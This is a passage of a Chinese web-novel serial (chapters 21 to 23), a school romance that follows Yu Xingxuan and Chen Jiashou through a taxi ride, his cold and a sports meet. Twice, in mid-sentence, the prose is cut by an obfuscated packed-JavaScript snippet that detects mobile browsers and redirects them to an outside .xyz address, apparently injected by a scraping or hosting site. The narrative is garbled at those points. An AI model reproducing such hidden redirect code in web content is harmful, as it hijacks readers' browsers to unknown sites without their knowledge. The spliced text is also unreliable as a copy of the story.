下一秒,耳边有手串串珠互相碰撞的轻响,身旁的人直接从她怀中抱走了花盆。 陈嘉授眉眼不耐,步子迈得很大,完全不掩饰不想在这里多待。 “你家住哪?”他忽然问。 “啊?” 陈嘉授又问了一遍,这次加重了语气:“你家,住哪。” “我家在津港路。” “……” 对话戛然而止,一路无话。 他们出花市途中,班里的几个男生也在路边打车。 几人打趣着杨桐。 “这手守株待兔真是绝了,等一会儿喻星旋出来,你就从天而降邀请她上车。” “桐,相信自己,我们都觉得今天学霸跟你聊得挺投缘,没准你俩有戏!” “是啊,试试呗,没准人家答应你送呢。” 一群男生很快就看到了喻星旋的身影,撺掇着让杨桐上前。 喻星旋疑惑了一秒,怎么车已经到了他们还不走。紧接着就看到杨桐走到她面前:“喻星旋,你回家吗?我的车刚好到了,可以送你。” “不了,谢谢。” 杨桐离她太近,丝毫没注意社交距离,说话时略重的口气朝着她扑来。 喻星旋不适地皱眉,拒绝得果断。 正打算找个委婉些的理由,背后忽然响起道嗓音。 “喻星旋。” 另一侧,高挑的少年孑然立在路边,怀里却是与他矜贵气质极其违和的红色超薄塑料袋。 陈嘉授抱着她的蝴蝶兰,如同有人质在手。 他凉凉地看了她一眼:“过来。” 21. 秘密 . 不久后,一辆出租车停在他们身边。 那群男生没有热闹看,悻悻地散去了。 陈嘉授的手空不出来,对她扬了扬下巴,示意她开车门。 喻星旋打开后排车门坐进去,正犹豫要不要往里靠一个位置,陈嘉授俯身,上半身探进车里。 紧接着,腿上一沉。 他不客气地把花盆放在了她身上。 车门一关,陈嘉授干脆利落地坐进了副驾。 出租车司机问:“小同学,去哪儿?” “津港路。”陈嘉授偏头问她,“几号?” “……82号。”喻星旋不情愿道。 车子启动起来,喻星旋还想着不久前的一幕。 当时她听到了那几个男生的起哄,没想到陈嘉授会横插一脚让她过去。 喻星旋被夹在杨桐和他之间,只觉得棘手。 虽然不知道陈嘉授抽什么风,她还是表态拒绝:“都不麻烦了,我坐公交来的。” 哪知陈嘉授强势起来,完全像是在威胁。 “我不给人当搬运工。你的花不要了?” 喻星旋脱口而出:“你敢。” “谁告诉你我不敢?” “……” 有他扔外套珠玉在前,喻星旋丝毫不怀疑他也能做出把她的蝴蝶兰扔路边的举动。 不管陈嘉授后来是否有那么几件事让她对他改观,但此刻,他骨子里那份刻薄和傲慢简直暴露无遗。 塞纸条那次,是喻星旋第一次与他交锋。 那次她就发现,他决定的没人可以动摇,不听解释,也不给别人插嘴的机会。 有些人仿佛天生就带着上位者心态,一言一行都像是发号施令,完全不管别人接不接受。 但这次,看在陈嘉授算是帮她解围的份上,喻星旋生生忍下了这口气。 反正花市到奶奶家,坐公交要半个多小时,还不如打车。 喻星旋抱着花坐在后排,出租车启动没多久,就听到陈嘉授打了个喷嚏。 她幸灾乐祸地想,让他扔外套,这下遭报应了吧。 随后,前排又传来明显的衣料摩擦声。 陈嘉授像是冷得遭不住了,双手抱胸,交叉在身前,还把领口收紧了点。 司机看了他一眼,笑着打趣:“哎呦,小伙子你可真是要风度不要温度啊!” 一句“开你的车”就在唇边。 陈嘉授余光瞥到后视镜,又把这话收了回去。 他向后靠在靠背里,摆出比刚才放松舒展的坐姿,若无其事道:“无所谓,习惯了。” 如果没见过陈嘉授扔外套,喻星旋真的会信了他的说法。 “……”喻星旋有些于心不忍,“师傅,你还是给他开一下暖风吧。” 她怕他没到家先冻出病来。 “好嘞。”司机师傅乐呵呵地打开空调键。 喻星旋留意了一下陈嘉授的表现,他虽然没说话,但沉默就相当于默许。 车内温度渐渐升高后,他先前紧绷的肩线明显一松。 早这样不就好了,逞什么英雄。 喻星旋轻轻弯了弯唇角,像是在无意中,摸到了一处陈嘉授的死穴。 出租车十五分钟内就把她送到了目的地,喻星旋没急着下车,问司机打表后,从钱包里数出一半的路费递给司机:“剩下的他付。” 陈嘉授面色再次沉下:“谁说让你付了?” 但喻星旋没理会,放下钱后就拉开车门,aa的态度明显。 她穿着鹅黄色连帽的外套,走进家属院大门,脚步仿佛带风,身影很快消失不见。 司机旁观了这一幕,迷惑地挠挠头:“女朋友?吵架了?” “……”陈嘉授报了家里的地址,冷声阻止对方继续八卦,“不该问的别问。” “不是我说小伙子,你也得有点绅士风度对不对?而且你那小女朋友多关心你啊,看你穿得少,还主动让我开空调……” “不是男女朋友。”陈嘉授几乎是在一字一字地向外挤,“您能专心开车不?” “啧啧啧。”司机摇摇头,发动车子,自言自语地感慨,“现在的年轻人啊,嘴是忒硬。” “……” 什么时候能轮到一个素不相识的司机教训他。 而且到底谁嘴硬? 这司机没长眼吗。 陈嘉授转脸看向窗外,摸出耳机戴上,干脆耳不听为净。 车子很快到博集云湾,长南大学附近的一所高级公馆。 陈嘉授家不止这一处房产,但为了陈蔚女士上班方便,他们平时都习惯住在这边。 庭院里,从小看着他长大的佣人陶婶正在浇花。 陈嘉授跟她问声好,拢紧了领口。一阵穿堂风吹来,他嗓子忽然泛起一阵痒。 陈嘉授暗叫不妙,犹豫片刻后退回去:“陶婶,家里的感冒药在哪?” 陶婶吃惊:“怎么穿这么少?我记得你早上不是穿了外套出门吗?” “出了点意外。” “是不是着凉了?” 陶婶紧张地关心他,陈嘉授摇头说没事:“您快帮我找找吧。” “好好,你等着啊。” 陶姨放下水管,进到别墅里帮陈嘉授找感冒药,还给他煮了驱寒的姜汤。 陈嘉授喝完姜汤,叮嘱她:“我真不要紧,您别告诉我爸妈了。” 吃完午饭,感冒药的药效很快发作,午觉醒来,嗓子的不舒服已经消退下去。陈嘉授便也没再把这次偶然的着凉放在心上。 - 下周,长南发布了降温的气象预警,几乎是一夜之间,学生们都在校服外加了件厚外套。 又过了几天,秋季运动会就在同学们的翘首以盼中到来。 开幕式前一天下午,沈林风领回每个人的号码牌,到了这时,李安蓝才知道原来喻星旋也报了项目。 “你报了什么啊?” “实心球。” “什么!” 喻星旋如愿在李安蓝脸上看到她意料之中的吃惊。 “喻星旋,你要是被沈林风绑架了,就眨眨眼。” “没有。”喻星旋摇头,“我是自愿报名的。” 商芝琳转过头来:“这你就不懂了吧,实心球可比跑步跳高那些轻松,扔完就能下场,都不需要怎么动。唉,早知道我也报了。” “还真是。”李安蓝要去操场最后练习一次接力,边往外走边说,“喻星旋,你这细胳膊细腿的可千万别勉强自己,拿不到名次很正常,万一闪了胳膊可不值当哦。” 喻星旋很浅地笑笑:“好,我会量力而行的。” 从操场回来,到了晚饭时间,李安蓝打包了便利店的简餐回来吃。教室里沉浸在运动会的激动氛围里,而李安蓝一转头,竟发现喻星旋正握着笔,八风不动地写作业。 “你也太爱学习了喻星旋,别写了休息会儿,陪我聊会天嘛。” “……” 没得到想要的反应,李安蓝也不气馁,继续故弄玄虚道:“我今天下午发现了一个秘密,不是百分百,可能八九不离十吧。” 运动会前老师比较仁慈,并没布置很多作业。喻星旋索性放下笔,拧开保温杯的杯盖:“什么?” 李安蓝趴在她耳边,兴奋道:“我发现,咱们班某个人喜欢陈嘉授!” 保温杯里接了热水,杯盖打开,“啵”的一声,蒸汽争先恐后地漫上来,喻星旋指尖被灼了一下,下意识蜷缩。 她将指尖在校服袖子上蹭了蹭,才想起她早就不喜欢陈嘉授了,跟她有什么关系。 “谁?” 李安蓝向后看了一眼,赵燕妮的座位还是空的:“你后面那位啊。” 喻星旋心跳加速了,只能尽量让自己显得像一个旁观者,问李安蓝为什么这么觉得。 “我都观察她很久了,每次练接力时,我跟她说着话,她的眼神就不由自主地往陈嘉授的方向瞟。人是很容易被潜意识出卖的。” “……” “还有,赵燕妮平时那么孤僻,哪里像是会参加班级活动的样子?但她主动报名了有陈嘉授在的接力哎。” 喻星旋想尽力装作不在意,却还是被李安蓝的话牵动了思绪。 赵燕妮会喜欢陈嘉授,她不觉得奇怪。 毕竟那个停电的晚自习,赵燕妮被宋朗浩骚扰却无力回击时,陈嘉授于她而言,就像是从天而降的骑士。 可陈嘉授的态度呢? 也不知怎的,许多已经被喻星旋忽略的东西又在一瞬间涌入脑海。 她跟李安蓝练交接棒的那天,陈嘉授带了水,分别给了李安蓝和赵燕妮。 但一直到跑完后,陈嘉授才勉为其难地问她要不要,态度轻慢得像在处理垃圾。 以及。 那天赵燕妮跑第三棒,在即将把接力棒递给陈嘉授时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818993|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脚下被什么东西一绊,而后整个人向前扑倒。 而就在她即将面朝下摔倒的那一刻,陈嘉授及时扶住了她的手臂。 跑完接力后四人会合,她还听到陈嘉授问赵燕妮:“没事吧。” …… 他对赵燕妮,好像确实有那么几分特殊照顾的意思在。 “只听你说的这些,也有可能是巧合。”喻星旋抿了一小口热水,到底还是没忍住好奇,“那他呢?” “谁啊。” “陈嘉授啊。”喻星旋说出他的名字,舌尖像是闪了一下。 晚自习的准备铃恰好响起,李安蓝赶忙收拾桌上吃剩的饭盒,随口道:“学校里公开追陈嘉授的几个哪个不是美女,我觉得她应该入不了陈嘉授的眼。” 李安蓝到教室后面丢垃圾,回来时路过赵燕妮的课桌,奇道:“怪了,赵燕妮怎么还没回班,吃个饭要这么长时间么?” 喻星旋一抬眼,李安蓝话音刚落,赵燕妮就出现在前门外。不知为何她的心里忽然泛起一阵强烈的预感,果然,几乎是转瞬间,陈嘉授从门外的另一个方向走过来。 门的宽度无法容纳两个人同时过去,陈嘉授垂眼看到女生,主动退到后面,让赵燕妮先进去。 赵燕妮习惯低着头,却飞快地回头看了陈嘉授一眼,匆匆穿过讲台,朝这边走来。 喻星旋的心划过一道了悟,随即直直地坠下去。 因为她太熟悉现在的赵燕妮了。无论是嘴角僵硬却抑制不住的笑意,还是紧张却透着轻松的脚步,都是少女尽力掩藏着秘密的情态。 赵燕妮已经擦着她的身边走过,喻星旋的眼睛不知该看哪里,索性看向李安蓝。 身边忽然发出东西掉落的响声。 在安静的教室,一点响动就极其明显。 喻星旋下意识弯腰去捡,赵燕妮在同一时间蹲下,两只手一起按在一个绿白相间的纸盒上。 两人视线相撞,赵燕妮心虚地躲闪开。 下一秒,赵燕妮慌乱地把盒子捡起,塞进课桌,像是极其不愿意被人看见那是什么,低声说了句:“谢谢。” “没事。” 喻星旋缓缓直起身,其实赵燕妮的掩饰没有什么用,她还是看到了她藏起来的东西。 是一盒999感冒灵。 喻星旋挣扎了许久,一口气提在喉咙,上不去又咽不下。终于转过脸问李安蓝。 “陈嘉授今天是不是感冒了?” “是啊,下午练接力的时候陈嘉授咳嗽,王辑问他怎么了,他说有点感冒。”李安蓝疑惑,“不过你怎么知道?” “……今天我在楼梯上迎面遇到他,听到他咳嗽。”喻星旋灵活应对,立刻沿用了李安蓝的说法。末了又补充了句,“我怕他传染给我。” 李安蓝失笑道:“喻星旋,你真是思路清奇,陈嘉授不要面子啊?” 喻星旋的心好像被密密实实的丝线缚住,渐渐结成一个茧,让她连思考都变得困难。 她的第六感总在发现细节时敏锐得超乎寻常。 就像当初,仅仅是瞥见沈艺棠的耳钉,她就察觉到了陈嘉授与一个陌生人之间的关系。 而现在,这盒感冒药的指向已经太过明显。 她会鼓起勇气把药拿给陈嘉授吗? 陈嘉授又会不会接过这盒药? 喻星旋不是没见过陈嘉授跟其他女生的接触,但这一次,却很难再当做事不关己。 不仅是因为,她同样是暗恋过他的人,有一瞬间的感同身受。 也是因为出板报那天,陈嘉授主动的解释给了她很大的错觉,她甚至觉得,他或许能察觉到她态度的变化,或者,也会在乎她的某一句话。 后来他再没用过那样和缓的语气对她说话。只要遇上,他们之间就总是一股剑拔弩张的火药味。 那天晚自习,喻星旋写作业都有些心不在焉。 她不想承认。 她以为自己潇洒地放下,却是在无人会注意的角落,演着一出内心色彩丰富的独幕戏。 在这场戏中,她扮演一个极其讨厌陈嘉授的角色,故意忽略他,挑衅他,丝毫不掩饰她对他的不满。 但其实,这些幼稚的报复,根本不会对陈嘉授造成什么影响。 喻星旋觉得,自己就像一个上蹿下跳的丑角。 她沉浸在自我感动、和单方面的精神胜利中,殊不知他和别人的缘分,或许早已经悄悄开始了。 22. 你多吃药 . “现在,迎着朝阳,踏着青春的节拍,向我们走来的是高一(2)班代表队!……” 祝媛圆润激昂的播音腔透过音响在操场上空久久回荡。 早上八点,阳光灿烂,操场上到处彩旗飘扬,穿着各色服装的方阵像打翻了的调色盘,热闹缤纷。 广播站负责运动会开幕式的方阵入场介绍。祝媛的任务结束后,就从主席台上退场,来二班找喻星旋,催她早点去检录。 实心球预决赛安排在运动会第一天上午。喻星旋取出号码布,用别针仔细地别好:“走吧。” “等等我!” 李安蓝把偷偷带来的小说往书包里一塞,站起来跟上:“你们别走那么快啊,喻星旋,我也去给你加油!” 陈嘉授上午的四百米初赛跟她的实心球预决赛撞在了同一个时间段,前后相差不到20分钟。 虽然最近李安蓝跟她的关系确实有越来越亲近,但喻星旋还是不相信,她会为了自己错过看她一直念叨的陈嘉授的比赛。 喻星旋提醒:“你不去看陈嘉授跑步吗?” “不看了,又不是没看过,天天跟陈嘉授一起练接力,我看都看烦了。” 喻星旋向后望了一眼,又说:“你真的不去吗?我们班到时候应该很多人都会去。” “干嘛啊喻星旋。”李安蓝说着有点委屈,“你是在把我往外推吗?看你比赛你还不乐意了。” 喻星旋唇角翘起很小的弧度,她用手抚了抚唇角,语气像是不在意:“没有,你不后悔就好。” 三人一起去检录处检录,祝媛迫不及待拆喻星旋的台:“她就是这样的性格,口是心非,其实你对她主动一点,她尾巴都要翘到天上去了。” 李安蓝:“真的吗?” 她说着就要来掀喻星旋的校服下摆:“让我看看你的尾巴在哪。” 喻星旋面露一点嫌弃,躲开她的手:“你别听祝媛胡说。” 李安蓝灵机一动,忽然觉得喻星旋的气质在哪似曾相识:“你觉不觉得,她很像一只猫?” “猫?”祝媛从来没往这个方向想过,“她长得也不像啊。” “猫不就是她这样吗,独立,高冷,不爱亲近人,但是又很傲娇。” “欸,你要这么说的话,还真是有点像……” 喻星旋正在检录处排队,站在队伍中,李安蓝和祝媛这两人一左一右地对她进行大起底,喻星旋脸都要红了。她索性走到了队伍最后,绷着脸抗议:“我不跟你们说了,还有,你们才有尾巴。” 换来的是李安蓝和祝媛笑得更变本加厉。 喻星旋索性不理她们了,排在最后一个同学后面,盯着自己的鞋尖。 过了会儿,检录处工作人员拿着喇叭喊:“大家不要都往前挤,排成两队!” 队伍整体往后移,前面的同学后退一步,喻星旋也跟着后退。 却没看清身后不知什么时候多了个人。 她的后背撞上对方的胸膛,整个人随之跌入了一阵松木香气中。 陈嘉授竟然也没躲,直直地由她撞,手虚虚地扶在她肩头。 喻星旋略一回身,视线中是他一尘不染的校服衣领,再往上,是锋利凸出的喉结。 喻星旋像触电一样地弹开,肢体动作透着十足戒备:“你为什么不往后退?” “……”陈嘉授语气森然,足足盯了她三秒钟才开口,“你刚才踩我鞋了。” 喻星旋一低头,他右脚的鞋的最前端,果然有片不明显的灰色印记。 她的声势瞬间弱下去:“……对不起。” 陈嘉授冷哼了声。 他的声音落入耳中,喻星旋渐渐察觉到有哪里不对。男声的质感跟平时很不一样,掺杂了几分沙哑。 喻星旋忽然想到赵燕妮掉出来的那盒感冒药,心头一揪,莫名的情绪漫上来,斟酌着问:“你是感冒了吗?” “嗯。” “因为上周着凉?” “没着凉。” “你都把外套扔了,还没着凉?” 陈嘉授闭了闭眼,很想把耳朵也堵上。 不是,她就跟一破外套过不去了是吗。 他还能怎么样,不当场扔掉,难不成把脏衣服穿回家? “我感冒,是因为这周降温。” 最近有人问他,都是如此解释。 陈嘉授说完这话后,看到喻星旋眼中仍旧攒着浓浓的怀疑。幸好此时,检录台旁有两个女生冲她挥手:“喻闪闪,实心球就差你一个了,快来检录!” “好,马上。”喻星旋正要走,又忽然想起什么,“如果感冒很严重,还是不要剧烈运动了。” 陈嘉授语气淡淡:“不影响。” 说话都带鼻音了,也不知道是不是真的不影响。 而且从头到尾,陈嘉授没有问一句她报了什么项目,似乎一点也不关心她为什么在检录处。 这样的忽视和冷淡让人气闷。喻星旋冷着脸,刻意加重了语气:“你多吃点药。” 反正有的是人给他送。 很快便检录完,有一位志愿者同学带着一群人走向操场中央的田赛场地。 喻星旋不放心地提醒李安蓝:“待会儿如果你改变主意,想去看别人的项目,直接走就好,不用顾虑我。” 李安蓝拍着胸脯打包票:“你放心吧,我不会后悔的!哪怕你连两米都扔不到,我也不后悔!” 喻星旋成功被她逗笑,在两人的簇拥下,来到比赛场地。 比赛场边,参赛的选手在做热身运动,然后逐个被叫到起投线比赛。 在一群或是高大,或是壮实的参赛选手中,喻星旋显得极其不起眼,像一株被风吹得左右摇摆的芦苇。 “下一个,1035号!” “来了。”喻星旋双手从地面抬起,直起腰,沉着地走上前去,从地上拾起实心球。 “喻星旋加油!”李安蓝双手握拳朝她挥了挥。 但看着喻星旋的准备动作,她还是不由得有些担忧。 毕竟她前面的女生最终的成绩是9米,几乎已经提前锁定了冠军,她已经提前想象到惨烈的对比,怕喻星旋接受不了。 李安蓝戳戳祝媛:“怎么办,我好紧张啊。” 祝媛:“紧张什么,放宽心啦。你是不知道闪闪她……” 微风拂动喻星旋额前的碎发,她双手持球,身体后仰,腰弓得像一轮弯月。 李安蓝瞪大了眼睛。 下一秒,实心球破空而出。在空中划过一道弧线,落在了一个远得不可思议的距离。 场边瞬间鸦雀无声。 紧接着,第二枚、第三枚也接连被她掷出。 片刻后裁判宣读成绩:“最后一次10米1!同学,你创新纪录了!” 场边沸腾一片,李安蓝和祝媛扑上来,团团将她抱住。 “我的妈呀,喻星旋,你练过啊!” 想到她居然还担心过喻星旋自尊心受挫,李安蓝恨不得穿越回去把自己摇醒。 祝媛:“说了让你别紧张,她小学就在运动会一战成名了,我们以前都叫她实心球战神。” “这么厉害,居然从来不跟我们说!喻星旋你真不地道。” 喻星旋天生力气大,很小的时候跟刘素平去市场买菜,就自告奋勇帮她拎重重的菜篮。 军训班级换位置,周围女生搬桌椅也都是她代劳。 “……”扮猪吃老虎的目的达到,喻星旋满足地眯了眯眼,“我也没否认啊。” 比赛结果没有任何悬念,甚至比预计时间结束得还早。 李安蓝指着起跑线的方向:“400米在比了,我们还来得及去看看!” 喻星旋的胸口像被风吹得扑簌,她没有反驳,视线在起跑线附近候场的运动员中搜寻某个人的身影,脚步也不自觉加快。 但离起跑线越近,她反而开始矜持起来,控制自己不往那个方向看。 祝媛好奇地问李安蓝:“你看起来好积极啊。” “我们班班长也参加了,谁不想看帅哥跑步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818994|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对了,你听说过他吗?就是陈嘉授。” “当然听说过,我们班那个秦雅书你知道吧,现在还在追他呢。” 对于两个刚认识不久的女生,八卦无疑是开启共同话题的最好方式。 李安蓝激动道:“……我们班也有,不过你不认识,待会等陈嘉授跑完,我猜她有可能会给他送水,到时候我就指给你看。” 起跑线被各班加油的同学围得水泄不通,裁判吹了好几声哨,让无关人员离开跑道。 “我们就在这儿看吧。”喻星旋忽然叫住她们。 再往前,就离他们太近了。 她只是路过随便看看,不想被人觉得自己有多么感兴趣,也不打算上前献殷勤。 又一组运动员各就位。 陈嘉授站在第七道,他换了一身白色的运动短袖和短裤,里面紧身的压缩衣包裹着流利矫健的手臂和小腿线条。 “砰——”发令枪响。 所有人一同冲出起跑线,喻星旋的眼眶却被唯一的身影占据。 视线所及处,只剩下一个人。 风把他的头发全部向后吹起,额头束着一条黑色的弹力发带,T恤下摆像鼓满的帆。 不到半圈,他已经把所有人甩在身后,一骑绝尘地冲在最前面,如同一只白鸟,破开滚滚红浪。 白色身影即将冲线,身边有外班的女生激动地欢呼起来,打开手机,将摄像头对准了他。 陈嘉授获胜的那一瞬间,喻星旋的心扑通扑通,跳得剧烈。 她只来得及看到陈嘉授第一个撞线,踉踉跄跄地停下。 人群很快就一拥而上,喻星旋她们站在最外侧,视线完全被挡住。 有人给他递毛巾,有人递水。但他究竟接了谁的,喻星旋完全看不清。 祝媛四处打量:“你说的那个女生是谁?” 李安蓝寻找了半天,没找到赵燕妮,悻悻地说:“好像没来哎。” 喻星旋胸腔中的血液还沸腾着,一时无法冷却下来。 她不禁谴责自己过分小心。 还有些后悔,自己怎么没把相机带来。 她目光不甘心地投向正在欢呼庆祝的人们,以班级的名义给陈嘉授拍照,是再正常不过的一件事,根本不会有人起疑。 但她错过了这次机会。 喻星旋收回心思,听到一旁李安蓝正在跟祝媛分析自己的发现。 她说赵燕妮藏得并不好,连自己都能感觉到她暗恋陈嘉授,陈嘉授应该也能感觉到吧。 “走吧。”喻星旋低声说。 “去哪,回看台?” 喻星旋朝操场外走:“我想去超市,买柠檬茶。” 三个女生各自买了饮料,回操场的路上,李安蓝和祝媛又回到了刚才的话题。 “暗恋嘛,那就不奇怪了。能公然给他送水的女生,都是明恋。”祝媛摸了摸下巴,“既然暗恋,说明她对自己也不是很有自信吧。” 喻星旋的心忽然又沉下去。 她曾很多次想跟祝媛坦白自己喜欢陈嘉授,最后都没说出口,但此刻她又有些庆幸。 她清了清嗓子,尽量把自己当做一位旁观者:“就不能是她对陈嘉授没信心吗?” “嘘,快蹲下。” 喻星旋话音没落,李安蓝不知看到什么,扯着她和祝媛,迅速蹲在半人高的花坛后。 “怎么回事?” 李安蓝压低声音:“看那边。” 喻星旋抬头,只见离她们不足五米,操场门边告示栏旁,陈嘉授和赵燕妮两个人正站在那里。 赵燕妮背对她们,打开书包,从里面拿出什么东西递过去,下了极大的决心。 祝媛看不太清:“那是什么?” 李安蓝:“好像是……感冒药?” 喻星旋屏住呼吸。 赵燕妮的声音发颤,而且细微,夹杂在运动员进行曲中,稍一不注意就会断掉一般。 “陈嘉授,上次的事谢谢你。你感冒好点了吗?我……我给你买了药。” 23. 第一金 . 今天天气放晴,秋阳高照,照在人身上是暖融融的。 但此刻,喻星旋却感觉不到半分暖意。 赵燕妮握着感冒药的手僵在半空中,可半晌,陈嘉授都没有接的意思。 一阵令人窒息的难堪弥漫开来。 陈嘉授目光淡而薄,落在面前女生身上,连打量都不算,不带几分重视。 是他惯常的面对追求者的态度。 他认出这个女生最近跟他一起练接力,不久之前他还帮她制止过宋朗浩的骚扰。 他不过是对她施过一些小恩小惠,哪里值得对方这样大费周章地感谢。 这一幕,似乎也在他跟前上演过很多次。 他不会猜不到对方的心思。 再加上不久前跑完四百,冷风迎面一吹,他的感冒好像又要加重了,嗓子一阵干疼。 陈嘉授淡声回绝,没什么耐心:“谢谢,不需要。” 他从不看别人脸色,自从薛虹的事后,为了让别人断绝对他的想法,他也不在乎对方难不难堪。 然而他正准备转身回操场,鬼使神差地,脑海中忽然闪过那天在日料店里的画面。 他离近了,刚好听到喻星旋毫不掩饰怒意的一句:“我觉得他真的很不尊重人。” 那时他觉得不屑一顾。 别人喜欢他,是给他制造负担。 有什么好值得他尊重的? 但是…… 算了。 明白了陈嘉授的意思,赵燕妮嘴唇颤抖,递出去的东西伸着也不是,收回也不是,眼神黯淡。 是啊,喜欢陈嘉授的那么多,她怎么偏偏就昏了头,自不量力地选在现在把药给他。 可下一秒,男生停住了脚步。 赵燕妮望着他清隽的面庞发愣,可能是因为剧烈运动,他面色比平时泛红,依旧是她可望不可即的模样。 只是语气平易近人了一些。 “谢谢你的心意,但药我就不收了,希望你也用不上。” “……” 陈嘉授拒绝了。 赵燕妮在原地站了很久,直到有同学需要看公告栏,提醒她让一下,她才如梦初醒,把感冒药塞进书包,匆匆往另一个方向离开。 这时,三人捶捶蹲麻的腿,才敢从藏身的花坛后出来。 沉默了一阵,喻星旋说:“这样偷听……不太好吧。” 祝媛:“要不,我们就装作什么都没看见?” 无意撞破别人表白的场景,实在让人有些尴尬。 广播里传出通知,若干比赛的获胜者可以去主席台领奖。 李安蓝和祝媛又陪喻星旋去主席台。 路上,李安蓝忍不住说:“其实,她就是我刚才跟你说的那个,我们班暗恋陈嘉授的女生……” “其实我有点不理解,”祝媛疑惑道,“如果我是你的这个同学,喜欢的男生生病了,早知道他会拒绝,如果只是想要他收下,把感冒药放进他课桌里,他收下的可能不是还高一些吗?” 喻星旋:“她是想给自己一个痛快。” 祝媛为人直爽,习惯有什么说什么,不太能理解她们这一类人的想法。 喻星旋想起了月考成绩公布那天,担心陈嘉授的自己。 跟现在的赵燕妮是如此相似。 因为暗恋就是这么微妙的心理。 她不知道赵燕妮是什么时候注意到陈嘉授的,但她一定也在背后默默注视了他很久。 只有注视过的人,才知道长久的注视是多么无望。尤其是,陈嘉授还在这个过程中,出于善意地帮助过她。 “什么意思?” “如果不迈出那一步,她永远会对他存着期待。” “唉。”李安蓝撇了撇嘴,“不过你们有没有发现,陈嘉授拒绝赵燕妮的态度还蛮好的,好像也没有传说中那么无情嘛。” 祝媛:“难道他对她也有好感?” 李安蓝和祝媛分析了几句后,也觉得陈嘉授对别人有好感太扯了,几乎是不可能的事。 喻星旋被自己偶然的发现搅得一颗心七上八下。 她也不知道自己对陈嘉授是怎样一种感觉了。 哪怕决定了不会再喜欢上他,心底却还是在为他拒绝赵燕妮的药而高兴。 但她又绝不会做出给陈嘉授送感冒药的举动。 在喻星旋心里,她的尊严和面子比陈嘉授的喜欢重要得多。 让她经历一次面对面告白被拒绝,只是想想都觉得手脚冰凉。 其实暗恋者并不都是胆小鬼。 因为心动并不是生活的全部,它要跟许多更加重要的东西一较输赢。 她只是想一边默默地观望陈嘉授,一边等待心动的时效过去。 他从来不属于她,所以在这个过程中,他跟谁在一起都无所谓。 一旦她不喜欢他了,她随时都可以抽身,藏起暗恋过他的秘密,而不需要对任何人解释。 领回金牌,喻星旋和李安蓝回到二班的看台上,大半个班的同学都围过来祝贺。 她一时没弄清楚状况。 沈林风嚷嚷着:“我去,喻星旋,真是一点都看不出来啊,你这么点小身板,居然轻轻松松地就把记录给破了!” “……” 喻星旋不知道的是,广播里,实心球比赛刚宣布成绩,二班的看台上就瞬间炸了锅。 同一时间,陈嘉授的四百米虽然也以小组第一进了决赛,但决赛还在明天上午呢。 所以喻星旋拿的,是二班的第一块金牌,意义重大。 老王乐开了花,摸着喻星旋领回来的金牌,连连夸她是大功臣。 喻星旋第一次享受了一把被人吹捧的待遇,许多平时不怎么熟悉的同学都围着她祝贺,管她要金牌看。 过了一会儿,这阵因为她拿了金牌而引起的轰动也逐渐散了。 李安蓝坐在喻星旋身边,看到她把金牌的带子缠好,放进书包里:“怎么了喻星旋,怎么感觉你不太开心啊。” “有吗?”喻星旋努力牵动唇角,扬起一个笑容,“我很开心啊。” 许多同学对她表示了恭喜,有男生也有女生。 但这些人里,却不包括陈嘉授。 甚至,喻星旋的余光能看到,在她被大家围着的时候,陈嘉授靠在最后一排看台的铁丝网上,屈起一条腿,另一条小腿松松垂下,跟身边的男生有一搭没一搭地聊着天。 风吹动他的额发,他神情恹恹,有些心不在焉。 全程也没有往这个方向看一眼。 喻星旋从小到大,习惯了被人夸是优秀的、聪明的、无所不能的。 她自己也从没怀疑过。 就连对喜欢的男生,她也不屑于用付出和示好吸引他的注意,相信只要站在足够高的地方,他的视线就无法忽略自己。 那天在日料店,她答应沈林风报一个运动会项目,可能也存了一点想引起他注意的心思吧。 陈嘉授总是被仰视的一方,可她看不惯。 她也想他仰视自己。 “阿授,你听说没,喻星旋实心球居然拿了金牌!” 沈林风几步跳上看台,一屁股在陈嘉授身边坐下。 “听见了。”陈嘉授眄他一眼,“你再大声点,树上的鸟都听见了。” “你一点都不吃惊?” “有什么吃惊,我可没说过她不行。” 早就见过她单手把杨蕊心按在窗台上,现在看来那或许是好奇,最初对她的好奇来得比任何感觉都早。 长这么大,他就没见过第二个跟喻星旋一样的女生。 她……太喜怒无常,也对他太不在意了。 “怪事啊,我记得喻星旋不是一直对你爱答不理的,你居然还为她说好话!你是不是发烧烧糊涂了?”沈林风哇哇乱叫,用手背来探陈嘉授的额头。 陈嘉授挥开他手:“她对谁不是爱答不理?” 沈林风忽然又怪叫起来:“你真的发烧了!” “少来。” “我是说真的,你额头很烫啊,不信你自己摸摸。” 陈嘉授抬手,手背触上自己的额头。 因为浑身体温偏高,他之前竟然没有察觉。 原以为感冒不严重,不影响跑步,没想到带伤上阵的后果就是把自己折腾成了重感冒。 沈林风劝他:“你干脆请个假回家休息吧。” “我还有项目,明天上午四百决赛,下午混合接力。”陈嘉授说,“你离我远点,小心传染。” 沈林风心说大哥你没事吧,都发烧了还想你那项目。 但他也清楚,陈嘉授一直做班长,受人拥戴不是没有理由的。 他就是有点大包大揽的性格,虽然龟毛难伺候,但责任心很强,不介意一个人承担所有,只要集体有需要,他都在。 沈林风继续苦口婆心:“我替你跑行不,为了两个比赛把自己身体搭上,犯不上吧?” “打住,别再提了,我的身体我自己清楚。” 沈林风:“……” 您就逞强吧,别再把自己作进医院了。 - 